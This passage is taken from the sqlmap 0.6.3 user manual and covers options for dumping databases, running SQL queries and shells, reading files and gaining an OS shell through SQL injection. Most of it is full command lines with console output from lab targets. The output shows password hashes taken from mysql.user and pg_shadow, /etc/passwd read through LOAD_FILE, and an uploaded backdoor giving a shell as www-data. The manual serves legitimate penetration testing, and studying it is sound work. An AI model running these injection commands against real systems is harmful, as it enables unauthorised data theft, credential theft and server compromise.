| ucs2 | ucs2_general_ci | UCS-2 Unicode | 2 |
| hp8 | hp8_english_ci | HP West European | 1 |
| latin2 | latin2_general_ci | ISO 8859-2 Central European | 1 |
| koi8u | koi8u_general_ci | KOI8-U Ukrainian | 1 |
| keybcs2 | keybcs2_general_ci | DOS Kamenicky Czech-Slovak | 1 |
| ascii | ascii_general_ci | US ASCII | 1 |
| cp866 | cp866_general_ci | DOS Russian | 1 |
| cp1256 | cp1256_general_ci | Windows Arabic | 1 |
| macce | macce_general_ci | Mac Central European | 1 |
| sjis | sjis_japanese_ci | Shift-JIS Japanese | 2 |
| geostd8 | geostd8_general_ci | GEOSTD8 Georgian | 1 |
| cp1257 | cp1257_general_ci | Windows Baltic | 1 |
| cp852 | cp852_general_ci | DOS Central European | 1 |
| euckr | euckr_korean_ci | EUC-KR Korean | 2 |
| cp1250 | cp1250_general_ci | Windows Central European | 1 |
| cp1251 | cp1251_general_ci | Windows Cyrillic | 1 |
| binary | binary | Binary pseudo charset | 1 |
| big5 | big5_chinese_ci | Big5 Traditional Chinese | 2 |
| gb2312 | gb2312_chinese_ci | GB2312 Simplified Chinese | 2 |
| hebrew | hebrew_general_ci | ISO 8859-8 Hebrew | 1 |
| koi8r | koi8r_general_ci | KOI8-R Relcom Russian | 1 |
| greek | greek_general_ci | ISO 8859-7 Greek | 1 |
| cp850 | cp850_general_ci | DOS West European | 1 |
| utf8 | utf8_general_ci | UTF-8 Unicode | 3 |
| latin1 | latin1_swedish_ci | cp1252 West European | 1 |
| latin7 | latin7_general_ci | ISO 8859-13 Baltic | 1 |
| cp932 | cp932_japanese_ci | SJIS for Windows Japanese | 2 |
| latin5 | latin5_turkish_ci | ISO 8859-9 Turkish | 1 |
| swe7 | swe7_swedish_ci | 7bit Swedish | 1 |
| gbk | gbk_chinese_ci | GBK Simplified Chinese | 2 |
+--------------------+----------------------+-----------------------------+--------+
[...]
You can also provide the --exclude-sysdbs option to exclude all
system databases so that sqlmap will only dump entries of users' databases
tables.
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump-all \
--exclude-sysdbs -v 0
Database: master
Table: spt_datatype_info_ext
[10 entries]
+----------------+-----------------+-----------+-----------+
| AUTO_INCREMENT | CREATE_PARAMS | typename | user_type |
+----------------+-----------------+-----------+-----------+
| 0 | length | char | 175 |
| 0 | precision,scale | numeric | 108 |
| 0 | max length | varbinary | 165 |
| 0 | precision,scale | decimal | 106 |
| 1 | precision | numeric | 108 |
| 0 | length | nchar | 239 |
| 0 | max length | nvarchar | 231 |
| 0 | length | binary | 173 |
| 0 | max length | varchar | 167 |
| 1 | precision | decimal | 106 |
+----------------+-----------------+-----------+-----------+
[...]
Database: master
Table: users
[5 entries]
+----+----------------------------------------------+-------------------+
| id | name | surname |
+----+----------------------------------------------+-------------------+
| 4 | sqlmap/0.6.3 (http://sqlmap.sourceforge.net) | user agent header |
| 2 | fluffy | bunny |
| 1 | luther | blisset |
| 3 | wu | ming |
| 5 | NULL | nameisnull |
+----+----------------------------------------------+-------------------+
[...]
Note that on Microsoft SQL Server the master database is not
considered a system database because some database administrators use it
as a users' database.
Options: --sql-query and --sql-shell
The SQL query and the SQL shell features makes the user able to run
whatever SELECT statement on the web application's back-end
database management system and retrieve its output.
Examples on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \
"SELECT 'foo'" -v 1
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:14] [INFO] retrieved: foo
[hh:mm:14] [INFO] performed 27 queries in 0 seconds
SELECT 'foo': 'foo'
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \
"SELECT 'foo', 'bar'" -v 1
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [INFO] performed 27 queries in 0 seconds
[hh:mm:50] [INFO] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [INFO] performed 27 queries in 0 seconds
SELECT 'foo', 'bar': 'foo, bar'
As you can see from this last example, sqlmap splits the query in two
different SELECT statement to be able to retrieve the output even
when using blind SQL injection technique.
Otherwise in inband SQL injection technique it only perform a single HTTP
request to get the user's query output:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --sql-query \
"SELECT 'foo', 'bar'" -v 1 --union-use
[...]
[hh:mm:03] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:03] [INFO] testing inband sql injection on parameter 'id'
[hh:mm:03] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:03] [INFO] confirming inband sql injection on parameter 'id'
[hh:mm:03] [INFO] the target url is affected by an exploitable inband sql injection
vulnerability
[hh:mm:03] [INFO] query: UNION ALL SELECT NULL, (CHAR(77)+CHAR(68)+CHAR(75)+CHAR(104)+
CHAR(70)+CHAR(67))+ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)), (CHAR(32)))
+(CHAR(105)+CHAR(65)+CHAR(119)+CHAR(105)+CHAR(108)+CHAR(108))+ISNULL(CAST((CHAR(98)+CHAR(97)+
CHAR(114)) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(66)+CHAR(78)+CHAR(104)+CHAR(75)+CHAR(114)+
CHAR(116)), NULL-- AND 8373=8373
[hh:mm:03] [INFO] performed 3 queries in 0 seconds
SELECT 'foo', 'bar' [1]:
[*] foo, bar
Examples on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --sql-query \
"SELECT 'foo' FROM dual" -v 0
[hh:mm:04] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] n
SELECT 'foo' FROM dual: 'foo'
As you can see, if your SELECT statement contains a FROM
clause, sqlmap asks the user if such statement can return multiple entries
and in such case the tool knows how to unpack the query correctly to
retrieve its whole output line per line when going through blind SQL
injection technique.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query \
"SELECT usename FROM pg_user" -v 0
[hh:mm:47] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
[hh:mm:48] [INPUT] the SQL query that you provide can return up to 3 entries. How many
entries do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
Choice: 2
SELECT usename FROM pg_user [2]:
[*] postgres
[*] testuser
As you can see from the last example, sqlmap counts the number of entries
for your query and asks how many entries from the top you want to dump.
Otherwise if you specify also the LIMIT, or similar, clause
sqlmap will not ask anything, just unpack the query and return its
output line per line when going through blind SQL injection technique.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query \
"SELECT user, host, password FROM mysql.user LIMIT 1, 3" -v 1
[...]
back-end DBMS: MySQL >= 5.0.0
[hh:mm:11] [INFO] fetching SQL SELECT query output: 'SELECT user, host, password FROM
mysql.user LIMIT 1, 3'
[hh:mm:12] [INFO] the SQL query provided has more than a field. sqlmap will now unpack
it into distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 1, 1
[hh:mm:12] [INFO] retrieved: root
[hh:mm:12] [INFO] performed 34 queries in 0 seconds
[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 1, 1
[hh:mm:12] [INFO] retrieved: localhost
[hh:mm:12] [INFO] performed 69 queries in 0 seconds
[hh:mm:12] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 1, 1
[hh:mm:12] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[hh:mm:13] [INFO] performed 293 queries in 0 seconds
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 2, 1
[hh:mm:13] [INFO] retrieved: root
[hh:mm:13] [INFO] performed 34 queries in 0 seconds
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 2, 1
[hh:mm:13] [INFO] retrieved: leboyer
[hh:mm:13] [INFO] performed 55 queries in 0 seconds
[hh:mm:13] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 2, 1
[hh:mm:13] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[hh:mm:14] [INFO] performed 293 queries in 0 seconds
[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(user AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 3, 1
[hh:mm:14] [INFO] retrieved: root
[hh:mm:14] [INFO] performed 34 queries in 0 seconds
[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(host AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 3, 1
[hh:mm:14] [INFO] retrieved: 192.168.1.121
[hh:mm:14] [INFO] performed 69 queries in 0 seconds
[hh:mm:14] [INFO] query: SELECT IFNULL(CAST(password AS CHAR(10000)), CHAR(32)) FROM mysql.user
ORDER BY user ASC LIMIT 3, 1
[hh:mm:14] [INFO] retrieved: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[hh:mm:15] [INFO] performed 293 queries in 0 seconds
SELECT user, host, password FROM mysql.user LIMIT 1, 3 [3]:
[*] root, localhost, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] root, leboyer, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] root, 192.168.1.121, *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
The SQL shell option gives you access to run your own SQL SELECT
statement interactively, like a SQL console logged into the back-end
database management system.
This feature has TAB completion and history support.
Example of history support on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0
sql> SELECT 'foo'
SELECT 'foo': 'foo'
sql> [UP arrow key shows the just run SQL SELECT statement, DOWN arrow key cleans the shell]
sql> SELECT version()
SELECT version(): 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
sql> exit
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0
sql> [UP arrow key shows 'exit', then DOWN arrow key clean the shell]
sql> SELECT usename, passwd FROM pg_shadow ORDER BY usename
[hh:mm:45] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
[hh:mm:46] [INPUT] the SQL query that you provide can return up to 3 entries. How many entries
do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
Choice:
SELECT usename, passwd FROM pg_shadow ORDER BY usename [3]:
[*] postgres, md5d7d880f96044b72d0bba108ace96d1e4
[*] testuser, md599e5ea7a6f7c3269995cba3927fd0093
[*] testuser2,
Example of TAB completion on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-shell -v 0
sql> [TAB TAB]
AND ORD(MID((%s), %d, 1)) > %d
CAST(%s AS CHAR(10000))
COUNT(%s)
CURRENT_USER()
DATABASE()
IFNULL(%s, ' ')
LENGTH(%s)
LIMIT %d, %d
MID((%s), %d, %d)
ORDER BY %s ASC
SELECT %s FROM %s.%s
SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND
table_schema='%s'
SELECT grantee FROM information_schema.USER_PRIVILEGES
SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES
SELECT schema_name FROM information_schema.SCHEMATA
SELECT table_schema, table_name FROM information_schema.TABLES
SELECT user, password FROM mysql.user
VERSION()
sql> SE[TAB]
sql> SELECT
As you can see the TAB functionality shows the queries defined for the
back-end database management system in sqlmap XML queries file, but you
can run whatever SELECT statement that you want.
Example of asterisk expansion on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-shell \
-v 1
[...]
[hh:mm:40] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql> SELECT * FROM test.users
[hh:mm:48] [INFO] fetching SQL SELECT query output: 'SELECT * FROM test.users'
[hh:mm:48] [INFO] you did not provide the fields in your query. sqlmap will retrieve the
column names itself.
[hh:mm:48] [INFO] fetching columns for table 'users' on database 'test'
[hh:mm:48] [INFO] fetching number of columns for table 'users' on database 'test'
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(COUNT(column_name) AS CHAR(10000)), CHAR(32))
FROM information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116)
[hh:mm:48] [INFO] retrieved: 3
[hh:mm:48] [INFO] performed 13 queries in 0 seconds
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116) LIMIT 0, 1
[hh:mm:48] [INFO] retrieved: id
[hh:mm:48] [INFO] performed 20 queries in 0 seconds
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116) LIMIT 1, 1
[hh:mm:48] [INFO] retrieved: name
[hh:mm:48] [INFO] performed 34 queries in 0 seconds
[hh:mm:48] [INFO] query: SELECT IFNULL(CAST(column_name AS CHAR(10000)), CHAR(32)) FROM
information_schema.COLUMNS WHERE table_name=CHAR(117,115,101,114,115) AND
table_schema=CHAR(116,101,115,116) LIMIT 2, 1
[hh:mm:48] [INFO] retrieved: surname
[hh:mm:48] [INFO] performed 55 queries in 0 seconds
[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users
[hh:mm:48] [INPUT] does the SQL query that you provide might return multiple entries? [Y/n] y
[hh:mm:04] [INFO] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM test.users
[hh:mm:04] [INFO] retrieved: 5
[hh:mm:04] [INFO] performed 13 queries in 0 seconds
[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many entries
do you want to retrieve?
[a] All (default)
[#] Specific number
[q] Quit
Choice: 3
[hh:mm:09] [INFO] sqlmap is now going to retrieve the first 3 query output entries
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: 1
[hh:mm:09] [INFO] performed 13 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: luther
[hh:mm:09] [INFO] performed 48 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: blissett
[hh:mm:09] [INFO] performed 62 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: 2
[hh:mm:09] [INFO] performed 13 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: fluffy
[hh:mm:09] [INFO] performed 48 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: bunny
[hh:mm:09] [INFO] performed 41 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: 3
[hh:mm:09] [INFO] performed 13 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(name AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: wu
[hh:mm:09] [INFO] performed 20 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: ming
[hh:mm:10] [INFO] performed 34 queries in 0 seconds
SELECT * FROM test.users [3]:
[*] 1, luther, blissett
[*] 2, fluffy, bunny
[*] 3, wu, ming
As you can see in this last example, if the SELECT statement has
an asterisk instead of the column(s) name, sqlmap first retrieves the
column names of the table then asks if the query can return multiple
entries and goes on.
Option: --read-file
If the back-end database management system is MySQL and the current user
has FILE access (access to LOAD_FILE() builtin function),
it is possible to read the content of a specific file from the file system.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
--read-file /etc/passwd -v 0
/etc/passwd:
---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/false
backup:x:34:34:backup:/var/backups:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false
postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash
---
Option: --os-shell
If the back-end database management system is MySQL, the web application's programming language is PHP and you, or sqlmap itself, found a writable directory within the web server document root path, sqlmap can prompt for an interactive operating system shell on the back-end database management system.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
--os-shell -v 0
[hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path
[hh:mm:49] [WARNING] unable to retrieve the remote web server document root
[hh:mm:49] [INPUT] please provide the web server document root [/var/www]:
[hh:mm:53] [INPUT] please provide a list of directories absolute path comma separated that
you want sqlmap to try to upload the agent [/var/www/test]:
[hh:mm:55] [INPUT] do you want to use the uploaded backdoor as a shell to execute commands
right now? [Y/n] y
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
As you might notice, such operating system shell has the same functionalities of SQL shell in terms of TAB completion and history support.
Option: --eta
It is possible to calculate and show the estimated time of arrival to retrieve each query output in real time while performing the SQL injection attack.
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -b \
--eta -v 1
[...]
back-end DBMS: Oracle
[hh:mm:24] [INFO] fetching banner
[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query
output again
[hh:mm:24] [INFO] retrieved the length of query output: 64
[hh:mm:24] [INFO] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version
WHERE ROWNUM=1
77% [=======================================> ] 49/64 ETA 00:00
then:
100% [====================================================] 64/64
[hh:mm:15] [INFO] performed 454 queries in 2 seconds
banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" \
--users --eta -v 1
[...]
back-end DBMS: Microsoft SQL Server 2000
[hh:mm:57] [INFO] fetching database users
[hh:mm:57] [INFO] fetching number of database users
[hh:mm:57] [INFO] query: SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS VARCHAR(8000)),
(CHAR(32))) FROM master..syslogins
[hh:mm:57] [INFO] retrieved: 3
[hh:mm:57] [INFO] performed 13 queries in 0 seconds
[hh:mm:57] [INFO] retrieved the length of query output: 22
[hh:mm:57] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
master..syslogins WHERE name NOT IN (SELECT TOP 0 name FROM master..syslogins ORDER BY name)
ORDER BY name
100% [====================================================] 22/22
[hh:mm:58] [INFO] performed 160 queries in 0 seconds
[hh:mm:58] [INFO] retrieved the length of query output: 2
[hh:mm:58] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
master..syslogins WHERE name NOT IN (SELECT TOP 1 name FROM master..syslogins ORDER BY name)
ORDER BY name
100% [====================================================] 2/2
[hh:mm:59] [INFO] performed 20 queries in 0 seconds
[hh:mm:59] [INFO] retrieved the length of query output: 25
[hh:mm:59] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
master..syslogins WHERE name NOT IN (SELECT TOP 2 name FROM master..syslogins ORDER BY name)
ORDER BY name
100% [====================================================] 25/25
[hh:mm:00] [INFO] performed 181 queries in 1 seconds
database management system users [3]:
[*] BUILTIN\Administrators
[*] sa
[*] W2KITINQUIS\Administrator
As you can see, sqlmap first calculates the length of the query output, then estimated the time of arrival, shows the progress in percentage and counts the number of retrieved query output characters.
Option: --update
It is possible to update sqlmap to the latest stable version available on
its
SourceForge File List page by running it with the
--update option.
$ python sqlmap.py --update -v 4
[hh:mm:53] [DEBUG] initializing the configuration
[hh:mm:53] [DEBUG] initializing the knowledge base
[hh:mm:53] [DEBUG] cleaning up configuration parameters
[hh:mm:53] [DEBUG] setting the HTTP method to perform HTTP requests through
[hh:mm:53] [DEBUG] creating HTTP requests opener object
[hh:mm:53] [INFO] updating sqlmap
[hh:mm:53] [DEBUG] checking if a new version is available
[hh:mm:55] [TRAFFIC OUT] HTTP request:
GET /doc/VERSION HTTP/1.1
Host: sqlmap.sourceforge.net
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 01 Aug 2008 14:50:55 GMT
Server: Apache/1.3.33 (Unix) PHP/4.3.10
Last-Modified: Thu, 31 Jul 2008 11:10:19 GMT
ETag: "9fcc53e-4-48919d9b"
Accept-Ranges: bytes
Content-Length: 4
Connection: close
Content-Type: text/plain
X-Pad: avoid browser bug
[hh:mm:55] [INFO] you are already running sqlmap latest stable version
[hh:mm:55] [INFO] updating Microsoft SQL Server XML versions file
[hh:mm:56] [TRAFFIC OUT] HTTP request:
GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
Host: www.sqlsecurity.com
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
language=en-US
Connection: close
[hh:mm:02] [TRAFFIC IN] HTTP response (OK - 200):
Cache-Control: private
Connection: close
Date: Fri, 01 Aug 2008 14:50:50 GMT
Content-Length: 167918
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
expires=Fri, 10-Oct-2008 01:30:49 GMT; path=/; HttpOnly
Set-Cookie: language=en-US; path=/; HttpOnly
[hh:mm:02] [INFO] no new Microsoft SQL Server versions since the last update
[hh:mm:02] [DEBUG] parsing XML queries file
As you can see, sqlmap first check if a new stable version is available, then in case it is, download it, unzip it and update the Microsoft SQL Server XML versions file from Chip Andrews' SQLSecurity.com site.
Note that the default configuration file sqlmap.conf is backupped
to sqlmap.conf.bak in case a new stable version is available and
your copy is updated.
Option: -s
It is possible to log all queries and their output on a text file while performing whatever request, both in blind SQL injection and in inband SQL injection. This is useful if you stop the injection and resume it after some time.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \
-v 1 -s "sqlmap.log"
[...]
back-end DBMS: PostgreSQL
[hh:mm:02] [INFO] query: VERSION()
[hh:mm:02] [INFO] retrieved: PostgreSQL 8.3.5 on i486-pc-^C
[hh:mm:03] [ERROR] user aborted
As you can see, I stopped the injection with CTRL-C while
retrieving the PostgreSQL banner and logged the session to text file
sqlmap.log.
$ cat sqlmap.log
[hh:mm:00 MM/DD/YY]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection point][GET]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection parameter][id]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Injection type][numeric]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][Parenthesis][0]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('9', '9')][]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH(SYSDATE)][]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(3, NULL)][3]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('3')][1]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][DBMS][PostgreSQL]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL 8.3.5
on i486-pc-
As you can see, all queries performed and their output have been logged to the session file in real time while performing the injection.
The session file has a structure as follows:
[hh:mm:ss MM/DD/YY]
[Target URL][Injection point][Parameters][Query or information name][Query output or value]
Performing the same request now, sqlmap resumes all information already
retrieved then calculates the query length, in the example
VERSION(), and resumes the injection from the last character
retrieved to the end of the query output.
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \
-v 1 -s "sqlmap.log"
[...]
[hh:mm:03] [INFO] resuming injection point 'GET' from session file
[hh:mm:03] [INFO] resuming injection parameter 'id' from session file
[hh:mm:03] [INFO] resuming injection type 'numeric' from session file
[hh:mm:03] [INFO] resuming 0 number of parenthesis from session file
[hh:mm:03] [INFO] resuming back-end DBMS 'PostgreSQL' from session file
[hh:mm:03] [INFO] testing connection to the target url
[hh:mm:03] [INFO] testing for parenthesis on injectable parameter
[hh:mm:03] [INFO] retrieving the length of query output
[hh:mm:03] [INFO] query: LENGTH(VERSION())
[hh:mm:03] [INFO] retrieved: 98
[hh:mm:03] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.3.5 on i486-pc-...
[hh:mm:03] [INFO] retrieving pending 70 query output characters
[hh:mm:03] [INFO] query: SUBSTR((VERSION())::text, 29, 98)
[hh:mm:03] [INFO] retrieved: linux-gnu, compiled by GCC gcc-4.3.real
(Ubuntu 4.3.2-1ubuntu11) 4.3.2
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
back-end DBMS: PostgreSQL
[hh:mm:07] [INFO] fetching banner
banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
Option: --save
It is possible to save the command line options to a configuration INI file.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b \
-v 1 --save
[hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-SAUbs.conf'
configuration file
[hh:mm:33] [INFO] testing connection to the target url
[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
[...]
As you can see, sqlmap saved the command line options to a configuration
INI file, sqlmap-SAUbs.conf.
$ cat sqlmap-SAUbs.conf
[Target]
googleDork =
list =
url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1
